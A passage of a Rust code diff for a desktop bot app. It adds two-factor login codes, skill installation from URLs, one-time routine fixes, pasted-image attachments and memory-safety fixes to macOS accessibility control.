assert_eq!(fitted(16384, 4096, 8192), Some((8192, 2048)));
|
||||||
|
assert_eq!(fitted(1290, 30000, 8192), Some((352, 8192)));
|
||||||
|
assert_eq!(fitted(100_000, 1, 2048), Some((2048, 1)), "never a side of nothing");
|
||||||
|
assert_eq!(fitted(100, 100, 0), None, "no limit known yet");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
@ -804,7 +804,7 @@ impl App {
|
||||||
let d = match done {
|
let d = match done {
|
||||||
Ok(img) => {
|
Ok(img) => {
|
||||||
let size = vec2(img.width() as f32 / 2.0, img.height() as f32 / 2.0);
|
let size = vec2(img.width() as f32 / 2.0, img.height() as f32 / 2.0);
|
||||||
let tex = ui.ctx().load_texture(format!("mermaid-{key}"), egui::ColorImage::from_rgba_unmultiplied([img.width() as usize, img.height() as usize], img.as_raw()), egui::TextureOptions::LINEAR);
|
let tex = super::files_ui::texture(ui.ctx(), &format!("mermaid-{key}"), &img);
|
||||||
Diagram::Ready(tex, size)
|
Diagram::Ready(tex, size)
|
||||||
}
|
}
|
||||||
Err(e) => Diagram::Failed(e),
|
Err(e) => Diagram::Failed(e),
|
||||||
|
|
|
||||||
|
|
@ -1016,6 +1016,7 @@ impl App {
|
||||||
steer: Arc::default(),
|
steer: Arc::default(),
|
||||||
turn_id: String::new(),
|
turn_id: String::new(),
|
||||||
direct: Arc::default(),
|
direct: Arc::default(),
|
||||||
|
turn: 0,
|
||||||
});
|
});
|
||||||
l.status = status;
|
l.status = status;
|
||||||
l.paused = paused;
|
l.paused = paused;
|
||||||
|
|
|
||||||
|
|
@ -23,6 +23,9 @@ pub struct RemoteUi {
|
||||||
pass: String,
|
pass: String,
|
||||||
invite: String,
|
invite: String,
|
||||||
create: bool,
|
create: bool,
|
||||||
|
/// 兩步驗證: the code that goes with the password, asked once the account said it has it on.
|
||||||
|
code: String,
|
||||||
|
need_code: bool,
|
||||||
pub(super) note: Arc<Mutex<String>>,
|
pub(super) note: Arc<Mutex<String>>,
|
||||||
join_rx: Option<Receiver<Result<(Settings, remote::AccountFind), String>>>,
|
join_rx: Option<Receiver<Result<(Settings, remote::AccountFind), String>>>,
|
||||||
restore_rx: Option<Receiver<Result<Vec<u8>, String>>>,
|
restore_rx: Option<Receiver<Result<Vec<u8>, String>>>,
|
||||||
|
|
@ -106,10 +109,17 @@ impl App {
|
||||||
Ok((s, found)) => {
|
Ok((s, found)) => {
|
||||||
self.state.remote = s;
|
self.state.remote = s;
|
||||||
self.rm.pass.clear();
|
self.rm.pass.clear();
|
||||||
|
self.rm.code.clear();
|
||||||
|
self.rm.need_code = false;
|
||||||
self.account_sync(found);
|
self.account_sync(found);
|
||||||
self.mark();
|
self.mark();
|
||||||
}
|
}
|
||||||
Err(e) => *self.rm.note.lock().unwrap() = e,
|
Err(e) => {
|
||||||
|
self.rm.need_code |= e.starts_with(remote::NEED_CODE);
|
||||||
|
// (A code is good for one try.)
|
||||||
|
self.rm.code.clear();
|
||||||
|
*self.rm.note.lock().unwrap() = e;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -125,7 +135,11 @@ impl App {
|
||||||
self.state.save();
|
self.state.save();
|
||||||
*self.rm.note.lock().unwrap() = format!("已從備份還原 {n} 個 Bot");
|
*self.rm.note.lock().unwrap() = format!("已從備份還原 {n} 個 Bot");
|
||||||
}
|
}
|
||||||
Err(e) => *self.rm.note.lock().unwrap() = e,
|
Err(e) => {
|
||||||
|
self.rm.need_code |= e.starts_with(remote::NEED_CODE);
|
||||||
|
self.rm.code.clear();
|
||||||
|
*self.rm.note.lock().unwrap() = e;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -600,6 +614,11 @@ impl App {
|
||||||
form_row(ui, "密碼", p, |ui| {
|
form_row(ui, "密碼", p, |ui| {
|
||||||
ui.add(egui::TextEdit::singleline(&mut self.rm.pass).password(true).desired_width(f32::INFINITY));
|
ui.add(egui::TextEdit::singleline(&mut self.rm.pass).password(true).desired_width(f32::INFINITY));
|
||||||
});
|
});
|
||||||
|
if self.rm.need_code {
|
||||||
|
form_row(ui, "驗證碼", p, |ui| {
|
||||||
|
ui.add(egui::TextEdit::singleline(&mut self.rm.code).hint_text(t("驗證器 App 的六位碼,或一組恢復碼")).desired_width(f32::INFINITY));
|
||||||
|
});
|
||||||
|
}
|
||||||
ui.checkbox(&mut self.rm.create, t("建立新帳號"));
|
ui.checkbox(&mut self.rm.create, t("建立新帳號"));
|
||||||
if self.rm.create {
|
if self.rm.create {
|
||||||
form_row(ui, "邀請碼", p, |ui| {
|
form_row(ui, "邀請碼", p, |ui| {
|
||||||
|
|
@ -611,11 +630,11 @@ impl App {
|
||||||
if ui.add_enabled(ready && !busy, primary_button(if busy { "連線中…" } else if self.rm.create { "建立並登入" } else { "登入" }, p)).clicked() {
|
if ui.add_enabled(ready && !busy, primary_button(if busy { "連線中…" } else if self.rm.create { "建立並登入" } else { "登入" }, p)).clicked() {
|
||||||
let (tx, rx) = channel();
|
let (tx, rx) = channel();
|
||||||
self.rm.join_rx = Some(rx);
|
self.rm.join_rx = Some(rx);
|
||||||
let (url, user, pass, create, invite, base) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone());
|
let (url, user, pass, create, invite, base, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.create, self.rm.invite.clone(), self.state.remote.clone(), self.rm.code.clone());
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
// Signed in: look right away for the bots the account already has.
|
// Signed in: look right away for the bots the account already has.
|
||||||
let r = remote::relay_join(&base, &url, &user, &pass, create, &invite).map(|s| {
|
let r = remote::relay_join(&base, &url, &user, &pass, create, &invite, &code).map(|s| {
|
||||||
let found = remote::find_account_bots(&s, &pass);
|
let found = remote::find_account_bots(&s, &pass, &code);
|
||||||
(s, found)
|
(s, found)
|
||||||
});
|
});
|
||||||
let _ = tx.send(r);
|
let _ = tx.send(r);
|
||||||
|
|
@ -624,9 +643,9 @@ impl App {
|
||||||
if ui.add_enabled(ready && self.rm.restore_rx.is_none(), secondary_button("從帳號備份還原")).on_hover_text(t("把這台電腦的 Bot 換成帳號裡最新的備份")).clicked() {
|
if ui.add_enabled(ready && self.rm.restore_rx.is_none(), secondary_button("從帳號備份還原")).on_hover_text(t("把這台電腦的 Bot 換成帳號裡最新的備份")).clicked() {
|
||||||
let (tx, rx) = channel();
|
let (tx, rx) = channel();
|
||||||
self.rm.restore_rx = Some(rx);
|
self.rm.restore_rx = Some(rx);
|
||||||
let (url, user, pass) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone());
|
let (url, user, pass, code) = (self.rm.relay_url.clone(), self.rm.user.trim().to_string(), self.rm.pass.clone(), self.rm.code.clone());
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
let _ = tx.send(remote::restore(&url, &user, &pass));
|
let _ = tx.send(remote::restore(&url, &user, &pass, &code));
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
@ -981,8 +1000,9 @@ impl App {
|
||||||
}
|
}
|
||||||
// The actions a bot can take on the app (the same appctl path as its tools).
|
// The actions a bot can take on the app (the same appctl path as its tools).
|
||||||
"app" => {
|
"app" => {
|
||||||
const ALLOWED: [&str; 15] = [
|
// (skillify and skill_install are the phone's 「教我做」 and 「從網址安裝技能」.)
|
||||||
"create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "create_routine", "update_routine",
|
const ALLOWED: [&str; 17] = [
|
||||||
|
"create_bot", "update_bot", "remember", "forget", "save_skill", "delete_skill", "skillify", "skill_install", "create_routine", "update_routine",
|
||||||
"delete_routine", "run_routine_now", "create_group", "move_to_group", "rename_group", "delete_group", "update_settings",
|
"delete_routine", "run_routine_now", "create_group", "move_to_group", "rename_group", "delete_group", "update_settings",
|
||||||
];
|
];
|
||||||
let name = s("name");
|
let name = s("name");
|
||||||
|
|
|
||||||
|
|
@ -73,7 +73,7 @@ pub fn specs() -> Vec<Value> {
|
||||||
vec![
|
vec![
|
||||||
json!({"name": "list_routines", "description": "List this bot's routines (scheduled, repeating tasks).", "parameters": {"type": "object", "properties": {}}}),
|
json!({"name": "list_routines", "description": "List this bot's routines (scheduled, repeating tasks).", "parameters": {"type": "object", "properties": {}}}),
|
||||||
json!({"name": "remember", "description": "Keep a fact or preference the person wants you to remember across chats.", "parameters": {"type": "object", "properties": {"fact": {"type": "string"}}, "required": ["fact"]}}),
|
json!({"name": "remember", "description": "Keep a fact or preference the person wants you to remember across chats.", "parameters": {"type": "object", "properties": {"fact": {"type": "string"}}, "required": ["fact"]}}),
|
||||||
json!({"name": "forget", "description": "Forget a remembered fact (its number or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}),
|
json!({"name": "forget", "description": "Forget a remembered fact: give the fact's own words (or words in it).", "parameters": {"type": "object", "properties": {"what": {"type": "string"}}, "required": ["what"]}}),
|
||||||
json!({"name": "save_skill", "description": "Save a reusable procedure as a skill every bot can use (replaces one with the same name).", "parameters": {"type": "object", "properties": {"name": {"type": "string"}, "description": {"type": "string", "description": "One line: when to use it"}, "instructions": {"type": "string", "description": "The full steps"}}, "required": ["name", "description", "instructions"]}}),
|
json!({"name": "save_skill", "description": "Save a reusable procedure as a skill every bot can use (replaces one with the same name).", "parameters": {"type": "object", "properties": {"name": {"type": "string"}, "description": {"type": "string", "description": "One line: when to use it"}, "instructions": {"type": "string", "description": "The full steps"}}, "required": ["name", "description", "instructions"]}}),
|
||||||
json!({"name": "use_skill", "description": "Load a skill's full instructions before doing that kind of task.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
|
json!({"name": "use_skill", "description": "Load a skill's full instructions before doing that kind of task.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
|
||||||
json!({"name": "delete_skill", "description": "Delete a skill.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
|
json!({"name": "delete_skill", "description": "Delete a skill.", "parameters": {"type": "object", "properties": {"name": {"type": "string"}}, "required": ["name"]}}),
|
||||||
|
|
@ -305,7 +305,14 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
|
||||||
raw["timezone"] = json!(tz);
|
raw["timezone"] = json!(tz);
|
||||||
}
|
}
|
||||||
match serde_json::from_value::<Schedule>(raw).map_err(|e| e.to_string()).and_then(routines::validate) {
|
match serde_json::from_value::<Schedule>(raw).map_err(|e| e.to_string()).and_then(routines::validate) {
|
||||||
Ok(x) => r.schedule = x,
|
Ok(x) => {
|
||||||
|
// 僅一次 counts from when it was set: counted from the day the
|
||||||
|
// routine was made, its one time was already past and it never ran.
|
||||||
|
if x.once {
|
||||||
|
r.created_at = now;
|
||||||
|
}
|
||||||
|
r.schedule = x
|
||||||
|
}
|
||||||
Err(e) => return err(format!("排程有問題:{e}")),
|
Err(e) => return err(format!("排程有問題:{e}")),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -455,10 +462,9 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
|
||||||
let name = s("name").unwrap_or_default();
|
let name = s("name").unwrap_or_default();
|
||||||
let before = state.skills.len();
|
let before = state.skills.len();
|
||||||
state.skills.retain(|k| k.name != name.trim());
|
state.skills.retain(|k| k.name != name.trim());
|
||||||
// a skill that came from a file goes back to the shelf it came from
|
// A skill that came from a file: the file goes too (it is read again at every start).
|
||||||
let slug: String = name.trim().chars().map(|c| if c.is_alphanumeric() { c.to_ascii_lowercase() } else { '-' }).collect();
|
let files = crate::memory::remove_skill_files(&name);
|
||||||
let _ = std::fs::remove_file(crate::memory::skill_dir().join(format!("{}.md", slug.trim_matches('-'))));
|
if state.skills.len() < before || files > 0 { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) }
|
||||||
if state.skills.len() < before { ok(format!("已刪除技能「{name}」")) } else { err(format!("沒有叫「{name}」的技能")) }
|
|
||||||
}
|
}
|
||||||
"skill_install" => {
|
"skill_install" => {
|
||||||
// P7: a skill is a .md file you can keep in a repo and hand to a friend.
|
// P7: a skill is a .md file you can keep in a repo and hand to a friend.
|
||||||
|
|
@ -467,20 +473,11 @@ pub fn apply(state: &mut State, bot_id: u64, name: &str, args: &str) -> Outcome
|
||||||
return err("要貼技能檔(.md)的網址或檔案路徑".into());
|
return err("要貼技能檔(.md)的網址或檔案路徑".into());
|
||||||
}
|
}
|
||||||
let text = if src.starts_with("http://") || src.starts_with("https://") {
|
let text = if src.starts_with("http://") || src.starts_with("https://") {
|
||||||
{
|
match crate::web::get_public(&src, 400_000) {
|
||||||
use std::io::Read;
|
Ok((_, status, _)) if status >= 400 => return err(format!("抓不到技能檔:網站回應 {status}")),
|
||||||
let agent: ureq::Agent = ureq::Agent::config_builder().timeout_global(Some(std::time::Duration::from_secs(20))).http_status_as_error(false).build().into();
|
Ok((_, _, text)) => text,
|
||||||
let mut text = String::new();
|
|
||||||
match agent.get(&src).call() {
|
|
||||||
Ok(mut r) => {
|
|
||||||
if let Err(e) = r.body_mut().as_reader().take(400_000).read_to_string(&mut text) {
|
|
||||||
return err(format!("技能檔讀不完:{e}"));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => return err(format!("抓不到技能檔:{e}")),
|
Err(e) => return err(format!("抓不到技能檔:{e}")),
|
||||||
}
|
}
|
||||||
text
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
match std::fs::read_to_string(&src) {
|
match std::fs::read_to_string(&src) {
|
||||||
Ok(t) => t,
|
Ok(t) => t,
|
||||||
|
|
@ -684,6 +681,11 @@ mod tests {
|
||||||
assert!(b.routines[0].next_run.unwrap() > routines::now());
|
assert!(b.routines[0].next_run.unwrap() > routines::now());
|
||||||
let id = b.routines[0].id;
|
let id = b.routines[0].id;
|
||||||
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":true}}"#)).text.contains("已暫停"));
|
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":true}}"#)).text.contains("已暫停"));
|
||||||
|
// Days later it is changed to 僅一次: its one time is the next one from now (counted from
|
||||||
|
// the day it was made, that time was long past and the routine never ran).
|
||||||
|
st.bot_mut(1).unwrap().routines[0].created_at -= 3 * 86400;
|
||||||
|
assert!(apply(&mut st, 1, "update_routine", &format!(r#"{{"id":{id},"paused":false,"schedule":{{"frequency":"daily","time":"09:00","once":true}}}}"#)).ok);
|
||||||
|
assert!(st.bot(1).unwrap().routines[0].next_run.unwrap() > routines::now());
|
||||||
assert!(needs_approval("delete_routine", &format!(r#"{{"id":{id}}}"#), &st).unwrap().contains("早報"));
|
assert!(needs_approval("delete_routine", &format!(r#"{{"id":{id}}}"#), &st).unwrap().contains("早報"));
|
||||||
let w = apply(&mut st, 1, "run_routine_now", &format!(r#"{{"id":{id}}}"#));
|
let w = apply(&mut st, 1, "run_routine_now", &format!(r#"{{"id":{id}}}"#));
|
||||||
assert_eq!(w.wake[0].0, 1);
|
assert_eq!(w.wake[0].0, 1);
|
||||||
|
|
|
||||||
|
|
@ -30,6 +30,14 @@ fn dir_for(bot_id: u64) -> PathBuf {
|
||||||
crate::model::State::path().parent().map(|p| p.to_path_buf()).unwrap_or_else(std::env::temp_dir).join("attachments").join(format!("bot-{bot_id}"))
|
crate::model::State::path().parent().map(|p| p.to_path_buf()).unwrap_or_else(std::env::temp_dir).join("attachments").join(format!("bot-{bot_id}"))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A file the person gave this bot with a message (the copy kept here): the bot may pass it
|
||||||
|
/// on, though it sits in AnyBot's own folder, which is otherwise closed to it.
|
||||||
|
pub fn is_given(bot_id: u64, p: &Path) -> bool {
|
||||||
|
let dir = dir_for(bot_id);
|
||||||
|
let real = |p: &Path| std::fs::canonicalize(p).unwrap_or_else(|_| p.to_path_buf());
|
||||||
|
p.is_file() && real(p).starts_with(real(&dir))
|
||||||
|
}
|
||||||
|
|
||||||
pub fn is_image_name(name: &str) -> bool {
|
pub fn is_image_name(name: &str) -> bool {
|
||||||
let n = name.to_lowercase();
|
let n = name.to_lowercase();
|
||||||
[".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".heic", ".tif", ".tiff"].iter().any(|e| n.ends_with(e))
|
[".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".heic", ".tif", ".tiff"].iter().any(|e| n.ends_with(e))
|
||||||
|
|
@ -64,6 +72,15 @@ pub fn store_bytes(bot_id: u64, name: &str, bytes: &[u8]) -> Result<Attachment,
|
||||||
Ok(Attachment { image: is_image_name(name), name: name.to_string(), path: dst.display().to_string(), bytes: bytes.len() as u64, on_box: String::new() })
|
Ok(Attachment { image: is_image_name(name), name: name.to_string(), path: dst.display().to_string(), bytes: bytes.len() as u64, on_box: String::new() })
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The picture a paste brought (⌘V with a picture and no text on the clipboard: the window is
|
||||||
|
/// handed the pixels, straight RGBA, not a V key).
|
||||||
|
pub fn store_pasted(bot_id: u64, size: [usize; 2], rgba: Vec<u8>) -> Result<Attachment, String> {
|
||||||
|
let img = image::RgbaImage::from_raw(size[0] as u32, size[1] as u32, rgba).ok_or("貼上的圖片讀不出來")?;
|
||||||
|
let mut png = std::io::Cursor::new(Vec::new());
|
||||||
|
img.write_to(&mut png, image::ImageFormat::Png).map_err(|e| format!("貼上的圖片存不下來:{e}"))?;
|
||||||
|
store_bytes(bot_id, &format!("貼上的圖片 {}.png", chrono::Local::now().format("%H%M%S")), png.get_ref())
|
||||||
|
}
|
||||||
|
|
||||||
/// A picture on the clipboard (e.g. a screenshot copied with ⌃⇧⌘4) becomes an attachment.
|
/// A picture on the clipboard (e.g. a screenshot copied with ⌃⇧⌘4) becomes an attachment.
|
||||||
pub fn paste_image(bot_id: u64) -> Option<Attachment> {
|
pub fn paste_image(bot_id: u64) -> Option<Attachment> {
|
||||||
let dir = dir_for(bot_id);
|
let dir = dir_for(bot_id);
|
||||||
|
|
|
||||||
|
|
@ -91,6 +91,15 @@ mod mac {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// An element kept for after the walk. The elements of a children list live only as long
|
||||||
|
/// as the list, and each list is let go when the walk leaves that level: the one the walk
|
||||||
|
/// chose was remembered as a bare pointer, and by the time it was pressed (or written to)
|
||||||
|
/// it had been released — the press went to freed memory.
|
||||||
|
fn keep(el: CFTypeRef) -> Cf {
|
||||||
|
unsafe { CFRetain(el) };
|
||||||
|
Cf(el)
|
||||||
|
}
|
||||||
|
|
||||||
fn cfstr(s: &str) -> Cf {
|
fn cfstr(s: &str) -> Cf {
|
||||||
let c = CString::new(s).unwrap_or_default();
|
let c = CString::new(s).unwrap_or_default();
|
||||||
Cf(unsafe { CFStringCreateWithCString(std::ptr::null(), c.as_ptr(), UTF8) })
|
Cf(unsafe { CFStringCreateWithCString(std::ptr::null(), c.as_ptr(), UTF8) })
|
||||||
|
|
@ -156,7 +165,7 @@ mod mac {
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Best (score, depth, element) pressable whose title/description/value matches `want`.
|
/// Best (score, depth, element) pressable whose title/description/value matches `want`.
|
||||||
fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) {
|
fn find_named(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option<Cf>), seen: &mut usize, depth: usize) {
|
||||||
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
@ -165,7 +174,7 @@ mod mac {
|
||||||
let score = ["AXTitle", "AXDescription", "AXValue"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
|
let score = ["AXTitle", "AXDescription", "AXValue"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
|
||||||
// Deeper wins ties: a button inside a group is the thing, not the group.
|
// Deeper wins ties: a button inside a group is the thing, not the group.
|
||||||
if score > best.0 || (score == best.0 && score > 0 && depth > best.1) {
|
if score > best.0 || (score == best.0 && score > 0 && depth > best.1) {
|
||||||
*best = (score, depth, el);
|
*best = (score, depth, Some(keep(el)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let (_keep, kids) = children(el);
|
let (_keep, kids) = children(el);
|
||||||
|
|
@ -175,7 +184,7 @@ mod mac {
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Deepest pressable whose frame holds the point; deepest of any role as a second choice.
|
/// Deepest pressable whose frame holds the point; deepest of any role as a second choice.
|
||||||
fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, CFTypeRef, bool), seen: &mut usize, depth: usize) {
|
fn find_at(el: CFTypeRef, x: f64, y: f64, best: &mut (usize, Option<Cf>, bool), seen: &mut usize, depth: usize) {
|
||||||
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
@ -183,9 +192,9 @@ mod mac {
|
||||||
if let Some((fx, fy, fw, fh)) = frame(el) {
|
if let Some((fx, fy, fw, fh)) = frame(el) {
|
||||||
if fw > 0.0 && fh > 0.0 && x >= fx && x < fx + fw && y >= fy && y < fy + fh {
|
if fw > 0.0 && fh > 0.0 && x >= fx && x < fx + fw && y >= fy && y < fy + fh {
|
||||||
if pressable(el) && depth >= best.0 {
|
if pressable(el) && depth >= best.0 {
|
||||||
*best = (depth, el, true);
|
*best = (depth, Some(keep(el)), true);
|
||||||
} else if !best.2 && depth >= best.0 {
|
} else if !best.2 && depth >= best.0 {
|
||||||
*best = (depth, el, false);
|
*best = (depth, Some(keep(el)), false);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -223,37 +232,30 @@ mod mac {
|
||||||
/// Press the control named `want` in the app `pid`. Returns the matched title.
|
/// Press the control named `want` in the app `pid`. Returns the matched title.
|
||||||
pub fn press_named(pid: i32, want: &str) -> Result<String, String> {
|
pub fn press_named(pid: i32, want: &str) -> Result<String, String> {
|
||||||
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
|
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
|
||||||
let mut best = (0u8, 0usize, std::ptr::null());
|
let mut best = (0u8, 0usize, None);
|
||||||
let mut seen = 0;
|
let mut seen = 0;
|
||||||
find_named(app.0, want, &mut best, &mut seen, 0);
|
find_named(app.0, want, &mut best, &mut seen, 0);
|
||||||
if best.2.is_null() {
|
let Some(found) = best.2 else {
|
||||||
return Err(format!("輔助使用樹裡沒有可點的「{want}」"));
|
return Err(format!("輔助使用樹裡沒有可點的「{want}」"));
|
||||||
}
|
};
|
||||||
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.2, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string());
|
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).unwrap_or_else(|| want.to_string());
|
||||||
// Keep the element alive through the press: CFRetain, press, then release.
|
press(found.0, &role_of(found.0)).map(|_| label)
|
||||||
unsafe { CFRetain(best.2) };
|
|
||||||
let r = press(best.2, &role_of(best.2));
|
|
||||||
unsafe { CFRelease(best.2) };
|
|
||||||
r.map(|_| label)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Press what sits under a screen point, if accessibility can name it.
|
/// Press what sits under a screen point, if accessibility can name it.
|
||||||
pub fn press_at(pid: i32, x: f64, y: f64) -> Result<String, String> {
|
pub fn press_at(pid: i32, x: f64, y: f64) -> Result<String, String> {
|
||||||
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
|
let app = app(pid).ok_or("這個 App 沒有輔助使用介面")?;
|
||||||
let mut best = (0usize, std::ptr::null(), false);
|
let mut best = (0usize, None, false);
|
||||||
let mut seen = 0;
|
let mut seen = 0;
|
||||||
find_at(app.0, x, y, &mut best, &mut seen, 0);
|
find_at(app.0, x, y, &mut best, &mut seen, 0);
|
||||||
if best.1.is_null() {
|
let Some(found) = best.1 else {
|
||||||
return Err("那個位置不在任何控件上".into());
|
return Err("那個位置不在任何控件上".into());
|
||||||
}
|
};
|
||||||
if !best.2 {
|
if !best.2 {
|
||||||
return Err("那個位置的控件不接受點按".into());
|
return Err("那個位置的控件不接受點按".into());
|
||||||
}
|
}
|
||||||
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(best.1, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into());
|
let label = ["AXTitle", "AXDescription", "AXValue"].iter().filter_map(|a| attr_string(found.0, a)).find(|s| !s.trim().is_empty()).map(|s| format!("「{s}」")).unwrap_or_else(|| "控件".into());
|
||||||
unsafe { CFRetain(best.1) };
|
press(found.0, &role_of(found.0)).map(|_| label)
|
||||||
let r = press(best.1, &role_of(best.1));
|
|
||||||
unsafe { CFRelease(best.1) };
|
|
||||||
r.map(|_| label)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Set the focused field's text (typing without keystrokes). False = caller types keys.
|
/// Set the focused field's text (typing without keystrokes). False = caller types keys.
|
||||||
|
|
@ -269,7 +271,7 @@ mod mac {
|
||||||
unsafe { AXUIElementSetAttributeValue(focused.0, cfstr("AXValue").0, v.0) == 0 }
|
unsafe { AXUIElementSetAttributeValue(focused.0, cfstr("AXValue").0, v.0) == 0 }
|
||||||
}
|
}
|
||||||
/// Deepest AXMenuItem (in any open menu) whose words match `want` best (exact first).
|
/// Deepest AXMenuItem (in any open menu) whose words match `want` best (exact first).
|
||||||
fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, CFTypeRef), seen: &mut usize, depth: usize) {
|
fn find_menu_item(el: CFTypeRef, want: &str, best: &mut (u8, usize, Option<Cf>), seen: &mut usize, depth: usize) {
|
||||||
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
if *seen >= MAX_NODES || depth > MAX_DEPTH {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
@ -277,7 +279,7 @@ mod mac {
|
||||||
if attr_string(el, "AXRole").is_some_and(|r| r == "AXMenuItem" || r == "AXMenuBarItem") {
|
if attr_string(el, "AXRole").is_some_and(|r| r == "AXMenuItem" || r == "AXMenuBarItem") {
|
||||||
let score = ["AXTitle", "AXDescription"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
|
let score = ["AXTitle", "AXDescription"].iter().map(|a| attr_string(el, a).map(|s| name_match(&s, want)).unwrap_or(0)).max().unwrap_or(0);
|
||||||
if score > best.0 {
|
if score > best.0 {
|
||||||
*best = (score, depth, el);
|
*best = (score, depth, Some(keep(el)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let (_keep, kids) = children(el);
|
let (_keep, kids) = children(el);
|
||||||
|
|
@ -303,22 +305,17 @@ mod mac {
|
||||||
let names = items.iter().filter_map(|k| attr_string(*k, "AXTitle")).collect::<Vec<_>>().join("、");
|
let names = items.iter().filter_map(|k| attr_string(*k, "AXTitle")).collect::<Vec<_>>().join("、");
|
||||||
return Err(format!("選單列裡沒有「{want}」(有:{names})"));
|
return Err(format!("選單列裡沒有「{want}」(有:{names})"));
|
||||||
}
|
}
|
||||||
unsafe { CFRetain(*item) };
|
// (`_keep`, the menu bar's own list, is held to the end of this function.)
|
||||||
let r = press(*item, "AXMenuBarItem");
|
press(*item, "AXMenuBarItem")?;
|
||||||
unsafe { CFRelease(*item) };
|
|
||||||
r?;
|
|
||||||
std::thread::sleep(std::time::Duration::from_millis(350));
|
std::thread::sleep(std::time::Duration::from_millis(350));
|
||||||
for seg in &path[1..] {
|
for seg in &path[1..] {
|
||||||
let mut best = (0u8, 0usize, std::ptr::null());
|
let mut best = (0u8, 0usize, None);
|
||||||
let mut seen = 0;
|
let mut seen = 0;
|
||||||
find_menu_item(app.0, seg.trim(), &mut best, &mut seen, 0);
|
find_menu_item(app.0, seg.trim(), &mut best, &mut seen, 0);
|
||||||
if best.2.is_null() {
|
let Some(found) = best.2 else {
|
||||||
return Err(format!("打開的選單裡沒有「{}」(前面已點:{})", seg.trim(), path[..path.len() - 1].join("→")));
|
return Err(format!("打開的選單裡沒有「{}」(前面已點:{})", seg.trim(), path[..path.len() - 1].join("→")));
|
||||||
}
|
};
|
||||||
unsafe { CFRetain(best.2) };
|
press(found.0, "AXMenuItem")?;
|
||||||
let r = press(best.2, "AXMenuItem");
|
|
||||||
unsafe { CFRelease(best.2) };
|
|
||||||
r?;
|
|
||||||
std::thread::sleep(std::time::Duration::from_millis(250));
|
std::thread::sleep(std::time::Duration::from_millis(250));
|
||||||
}
|
}
|
||||||
Ok(path.join(" → "))
|
Ok(path.join(" → "))
|
||||||
|
|
@ -331,15 +328,15 @@ mod mac {
|
||||||
Some(a) => a,
|
Some(a) => a,
|
||||||
None => return fields.iter().map(|(n, _)| (n.clone(), Err("這個 App 沒有輔助使用介面".into()))).collect(),
|
None => return fields.iter().map(|(n, _)| (n.clone(), Err("這個 App 沒有輔助使用介面".into()))).collect(),
|
